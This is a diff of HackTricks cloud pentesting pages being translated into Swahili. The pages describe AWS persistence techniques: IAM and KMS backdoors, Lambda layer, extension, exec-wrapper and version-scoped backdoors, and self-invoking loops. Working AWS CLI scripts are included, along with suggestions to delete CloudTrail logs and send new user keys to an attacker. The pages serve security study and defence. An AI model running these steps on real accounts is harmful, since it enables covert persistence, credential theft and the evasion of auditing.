{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
Toa ruhusa za Administrator kwa sera ambayo si toleo lake la mwisho (toleo la mwisho liwe linaonekana halali), kisha wateue toleo hilo la sera kwa mtumiaji/kikundi unaodhibiti.
### Backdoor / Create Identity Provider
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
Ikiwa akaunti tayari ina imani na identity provider ya kawaida (kama Github), masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia vibaya.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## KMS
For mor information check:
Kwa taarifa zaidi angalia:
{{#ref}}
../../aws-services/aws-kms-enum.md
@@ -12,32 +12,26 @@ For mor information check:
### Grant acces via KMS policies
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) for more information.
Mshambuliaji anaweza kutumia ruhusa **`kms:PutKeyPolicy`** ili **kumpa upatikanaji** kwa key kwa mtumiaji aliye chini ya udhibiti wake au hata kwa akaunti ya nje. Angalia [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) kwa taarifa zaidi.
### Eternal Grant
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
Grants ni njia nyingine ya kumpa principal ruhusa fulani juu ya key maalum. Inawezekana kutoa grant inayomruhusu mtumiaji kuunda grants. Zaidi ya hayo, mtumiaji anaweza kuwa na grants kadhaa (hata sawa) juu ya key ile ile.
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
Kwa hivyo, inawezekana kwa mtumiaji kuwa na grants 10 zenye ruhusa zote. Mshambuliaji anapaswa kusimamia hili mara kwa mara. Na ikiwa kwa wakati fulani grant 1 itaondolewa, grants nyingine 10 zinapaswa kuundwa.
(Tunatumia 10 badala ya 2 ili kuweza kutambua kwamba grant iliondolewa huku mtumiaji bado akiwa na grant nyingine)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> Grant inaweza kutoa ruhusa tu kutoka hapa: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Lambda
For more information check:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ For more information check:
### Lambda Layer Persistence
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
Inawezekana **introduce/backdoor a layer to execute arbitrary code** wakati lambda inapotekelezwa kwa njia ya kujificha:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
Kwa kutumia Lambda Layers pia inawezekana kutumiwa extensions na kudumu ndani ya lambda, lakini pia kuiba na kubadilisha requests.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,38 +28,38 @@ aws-abusing-lambda-extensions.md
### Via resource policies
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
Inawezekana kutoa ufikiaji kwa vitendo mbalimbali vya lambda (kama invoke au update code) kwa akaunti za nje:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
Lambda inaweza kuwa na **matoleo tofauti** (kila toleo lina msimbo tofauti).\
Kisha, unaweza kuunda **aliases tofauti zenye matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\
Kwa njia hii mshambuliaji angeweza kuunda **backdoored version 1** na **version 2 yenye msimbo halali tu** na **kuitekeleza version 1 tu katika 1%** ya requests ili kubaki kwa siri.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Copy the original code of the Lambda
1. Nakili the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
1. Piga the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
1. Hii itaficha the backdoored code in a previous version
4. Nenda kwenye API Gateway na **create a new POST method** (au chagua any other method) itakayotekeleza the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Tambua the final :1 of the arn **indicating the version of the function** (version 1 itakuwa the backdoored one in this scenario).
5. Chagua the POST method uliyounda na katika Actions chagua **`Deploy API`**
6. Sasa, unapoitisha the function via POST your Backdoor itaendeshwa
### Cron/Event actuator
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
Kwamba unaweza kufanya **lambda functions ziendesheke wakati jambo linapotokea au baada ya muda fulani kupita** hufanya lambda kuwa njia nzuri na ya kawaida ya kupata persistence na kuepuka kugunduliwa.\
Hapa kuna mawazo ya kufanya **uwepo wako katika AWS uwe wa siri zaidi kwa kuunda lambdas**.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
- Kila mara user mpya anapo undwa lambda inazalisha user key mpya na kuituma kwa mshambuliaji.
- Kila mara role mpya inapo undwa lambda inawapa compromised users ruhusa za assume role.
- Kila mara logs mpya za cloudtrail zinapotengenezwa, zifute/zirudishe
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
### AWS - Lambda Function URL Public Exposure
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
Tumia vibaya Lambda asynchronous destinations pamoja na the Recursion configuration ili kufanya function iite tena yenyewe mara kwa mara bila external scheduler (bila EventBridge, cron, n.k.). Kwa default, Lambda inakata recursive loops, lakini kuweka recursion config kuwa Allow inawawezesha tena. Destinations zinatoa upande wa service kwa async invokes, hivyo invoke moja ya seed inaunda channel ya heartbeat/backdoor isiyokuwa na code na isiyojulikana. Kwa hiari, punguza kwa reserved concurrency ili kuweka noise chini.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
Tengeneza toleo la Lambda lililofichwa lenye mantiki ya mshambuliaji na pangia resource-based policy kwa toleo maalum hilo (au alias) kwa kutumia parameter `--qualifier` katika `lambda add-permission`. Toa pekee `lambda:InvokeFunction` kwenye `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` kwa attacker principal. Invocation za kawaida kupitia jina la function au primary alias hazibadiliki, wakati mshambuliaji anaweza directly invoke the backdoored version ARN.
This is stealthier than exposing a Function URL and doesnt change the primary traffic alias.
Hii ni ya siri zaidi kuliko kufanya expose Function URL na haibadilishi primary traffic alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
@@ -89,55 +89,45 @@ aws-lambda-alias-version-policy-backdoor.md
### Freezing AWS Lambda Runtimes
An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a functions runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
The attacker modifies the runtime management configuration to pin the runtime version:
Mshambuliaji aliye na ruhusa za lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, na lambda:GetRuntimeManagementConfig anaweza kubadilisha runtime management configuration ya function. Shambulio hili ni hasa madhubuti pale lengo likiwa ni kuweka Lambda function kwenye toleo la runtime lenye udhaifu au kuhifadhi compatibility na malicious layers ambazo zinaweza kuwa incompatible na runtimes mpya.
Mshambuliaji hubadilisha runtime management configuration ili kuweka pin runtime version:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
Verify the applied configuration:
Thibitisha usanidi uliotumika:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
--function-name $TARGET_FN \
--region us-east-1
```
Optional: Pin to a specific runtime version
Hiari: Weka kwenye toleo maalum la runtime
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Pin to a specific runtime version:
Weka kwenye toleo maalum la runtime:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,35 +4,35 @@
## Lambda Extensions
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
Lambda extensions huongeza kazi kwa kuunganishwa na zana mbalimbali za **monitoring, observability, security, na governance**. Extensions hizi, zinazoongezwa kupitia [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumlishwa katika [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika hali mbili: **internal** na **external**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
- **Internal extensions** huungana na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **language-specific environment variables** na **wrapper scripts**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**.
- **External extensions** zinafanya kazi kama michakato tofauti, zikihakikisha uendeshaji unalingana na mzunguko wa maisha wa kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **custom runtimes**.
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
Kwa maelezo zaidi kuhusu [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### External Extension for Persistence, Stealing Requests & modifying Requests
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Hii ni muhtasari wa mbinu iliyopendekezwa katika chapisho hili: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Ilipatikana kwamba kernel ya Linux ya default katika mazingira ya runtime ya Lambda imeandikwa kwa “**process_vm_readv**” na “**process_vm_writev**” system calls. Na michakato yote inafanya kazi na kitambulisho sawa cha mtumiaji, hata mchakato mpya ulioanzishwa kwa ajili ya external extension. **Hii inamaanisha kwamba external extension ina ufikiaji kamili wa kusoma na kuandika kwenye kumbukumbu ya Rapid, kwa muundo.**
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Zaidi ya hayo, ingawa Lambda extensions zina uwezo wa **kujiandikisha kwa matukio ya mwito**, AWS haifunui data halisi kwa extensions hizi. Hii inahakikisha kwamba **extensions haziwezi kufikia taarifa nyeti** zinazotumwa kupitia ombi la HTTP.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
Mchakato wa Init (Rapid) unafuatilia maombi yote ya API katika [http://127.0.0.1:9001](http://127.0.0.1:9001/) wakati Lambda extensions zinaanzishwa na kuendesha kabla ya utekelezaji wa msimbo wowote wa runtime, lakini baada ya Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
Kigezo **`AWS_LAMBDA_RUNTIME_API`** kinaonyesha **IP** anwani na **nambari** ya **bandari** ya Rapid API kwa **michakato ya runtime ya watoto** na extensions za ziada.
> [!WARNING]
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
> Kwa kubadilisha kigezo cha mazingira **`AWS_LAMBDA_RUNTIME_API`** kuwa **`port`** tunayo, inawezekana kukamata vitendo vyote ndani ya runtime ya Lambda (**man-in-the-middle**). Hii inawezekana kwa sababu extension inafanya kazi na ruhusa sawa na Rapid Init, na kernel ya mfumo inaruhusu **mabadiliko ya kumbukumbu ya mchakato**, ikiruhusu kubadilisha nambari ya bandari.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
Kwa sababu **extensions zinafanya kazi kabla ya msimbo wowote wa runtime**, kubadilisha kigezo cha mazingira kutakuwa na athari kwenye mchakato wa runtime (kwa mfano, Python, Java, Node, Ruby) unapozinduliwa. Zaidi ya hayo, **extensions zilizoandikwa baada** yetu, ambazo zinategemea kigezo hiki, pia zitaelekeza kupitia extension yetu. Mpangilio huu unaweza kuwezesha malware kupita kabisa hatua za usalama au logging extensions moja kwa moja ndani ya mazingira ya runtime.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
Chombo [**lambda-spy**](https://github.com/clearvector/lambda-spy) kilitengenezwa ili kutekeleza **memory write** na **kuchukua taarifa nyeti** kutoka kwa maombi ya lambda, maombi mengine ya **extensions** na hata **kuyabadilisha**.
## References
@@ -40,7 +40,3 @@ The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,13 +2,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Summary
## Muhtasari
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
Unda toleo lililofichwa la Lambda lenye logic ya attacker na uweke resource-based policy kwa wigo wa toleo hilo maalum (au alias) ukitumia parameter `--qualifier` katika `lambda add-permission`. Toa tu `lambda:InvokeFunction` kwenye `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` kwa attacker principal. Ita za kawaida kupitia jina la function au alias kuu hazitathiriwa, wakati attacker anaweza kuitisha moja kwa moja version ARN iliyobackdoor.
This is stealthier than exposing a Function URL and doesnt change the primary traffic alias.
Hii ni ya kuficha zaidi kuliko kufichua Function URL na haiathiri alias kuu ya trafiki.
## Required Permissions (attacker)
## Ruhusa Zinazohitajika (attacker)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
@@ -17,8 +17,7 @@ This is stealthier than exposing a Function URL and doesnt change the primary
## Attack Steps (CLI)
<details>
<summary>Publish hidden version, add qualifier-scoped permission, invoke as attacker</summary>
<summary>Chapisha toleo lililofichwa, ongeza ruhusa yenye wigo wa qualifier, ita kama attacker</summary>
```bash
# Vars
REGION=us-east-1
@@ -32,8 +31,8 @@ cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
@@ -48,24 +47,24 @@ ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
@@ -79,12 +78,11 @@ cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Impact
## Athari
- Grants a stealthy backdoor to invoke a hidden version of the function without modifying the primary alias or exposing a Function URL.
- Limits exposure to only the specified version/alias via the resource-based policy `Qualifier`, reducing detection surface while retaining reliable invocation for the attacker principal.
- Hutoa backdoor ya siri ili kuwaita toleo lililofichwa la function bila kubadilisha alias kuu au kufichua Function URL.
- Inapunguza mfichuko kwa tu toleo/alias iliyobainishwa kupitia resource-based policy `Qualifier`, ikipunguza eneo la kugundua huku ikidumisha uwezo thabiti wa kuitwa kwa attacker principal.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,93 +2,85 @@
{{#include ../../../../banners/hacktricks-training.md}}
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
Tumia Lambda asynchronous destinations pamoja na Recursion configuration kufanya function iite tena yenyewe kwa mfululizo bila scheduler wa nje (hakuna EventBridge, cron, n.k.). Kwa default, Lambda inasimamisha recursive loops, lakini kuweka recursion config kuwa Allow kunaweza kuziruhusu tena. Destinations hutekelezwa upande wa service kwa async invokes, hivyo seed invoke moja huunda channel ya kimya, isiyo na code — heartbeat/backdoor channel. Hiari: throttle kwa reserved concurrency ili kupunguza kelele.
Notes
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
Vidokezo
- Lambda hairuhusu kusanidi function kuwa destination yake moja kwa moja. Tumia function alias kama destination na uruhusu execution role ku-invoke alias hiyo.
- Minimum permissions: ability to read/update the target functions event invoke config and recursion config, publish a version and manage an alias, and update the functions execution role policy to allow lambda:InvokeFunction on the alias.
## Requirements
## Mahitaji
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
## Hatua
1) Get function ARN and current recursion setting
1) Pata function ARN na usanidi wa recursion wa sasa
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Publish a version and create/update an alias (used as self destination)
2) Chapisha toleo na unda/sasisha alias (inayotumika kama lengo la kujipeleka)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Allow the function execution role to invoke the alias (required by Lambda Destinations→Lambda)
3) Ruhusu cheo cha utekelezaji cha function kuitisha alias (inahitajika na Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Configure async destination to the alias (self via alias) and disable retries
4) Sanidi async destination kwa alias (self via alias) na zima retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Allow recursive loops
5) Ruhusu mizunguko ya kujirudia
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Seed a single asynchronous invoke
6) Kuanzisha invoke moja isiyo ya sinkroni
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Observe continuous invocations (examples)
7) Chunguza miito endelevu (mifano)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Optional stealth throttle
8) Hiari stealth throttle
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Cleanup
Break the loop and remove persistence.
## Usafishaji
Vunja mzunguko na ondoa persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -98,7 +90,6 @@ aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGIO
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impact
- Single async invoke causes Lambda to continually re-invoke itself with no external scheduler, enabling stealthy persistence/heartbeat. Reserved concurrency can limit noise to a single warm execution.
## Athari
- Single async invoke inasababisha Lambda kuji-invoke tena mara kwa mara bila scheduler wa nje, ikiruhusu stealthy persistence/heartbeat. Reserved concurrency inaweza kupunguza noise hadi single warm execution.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,14 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Summary
## Muhtasari
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
Tumia vibaya environment variable `AWS_LAMBDA_EXEC_WRAPPER` ili kutekeleza script ya wrapper inayodhibitiwa na mshambuliaji kabla runtime/handler inaanza. Toa wrapper kupitia Lambda Layer kwenye `/opt/bin/htwrap`, weka `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, kisha uitishe function. Wrapper inaendesha ndani ya mchakato wa runtime wa function, inarithi role ya utekelezaji ya function, na hatimaye hufanya `exec` ya runtime halisi ili handler ya asili bado ifanye kazi kawaida.
> [!WARNING]
> This technique grants code execution in the target Lambda without modifying its source code or role and without needing `iam:PassRole`. You only need the ability to update the function configuration and publish/attach a layer.
> Mbinu hii inatoa utekelezaji wa code katika Lambda lengwa bila kubadilisha msimbo wa chanzo au role na bila kuhitaji `iam:PassRole`. Unahitaji tu uwezo wa kusasisha function configuration na kuchapisha/kuambatisha layer.
## Required Permissions (attacker)
## Idhini Zinazohitajika (mshambuliaji)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
